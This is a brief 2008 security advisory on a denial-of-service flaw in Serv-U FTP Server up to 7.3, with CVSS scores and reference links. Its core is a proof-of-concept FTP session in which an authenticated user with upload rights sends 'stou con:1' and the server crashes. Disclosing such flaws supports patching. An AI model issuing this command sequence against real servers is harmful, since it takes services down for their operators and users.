Serv-U <= 7.3 (stou con:1) Denial of Service Vulnerability (auth)

2008.10.10
Credit: dmnt
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-20


CVSS Base Score: 4/10
Impact Subscore: 2.9/10
Exploitability Subscore: 8/10
Exploit range: Remote
Attack complexity: Low
Authentication: Single time
Confidentiality impact: None
Integrity impact: None
Availability impact: Partial

#Serv-U <= 7.2.0.1 / 7.3 ftp server DoS #user must have upload permissions # #(x) dmnt 2008-10-01 220 Serv-U FTP Server v7.3 ready... user test 331 User name okay, need password. pass test 230 User logged in, proceed. stou con:1 quit 221 Goodbye, closing session. # now server DoS'ed

References:

http://www.securityfocus.com/bid/31556
http://www.milw0rm.com/exploits/6660
http://www.frsirt.com/english/advisories/2008/2746
http://secunia.com/advisories/32150


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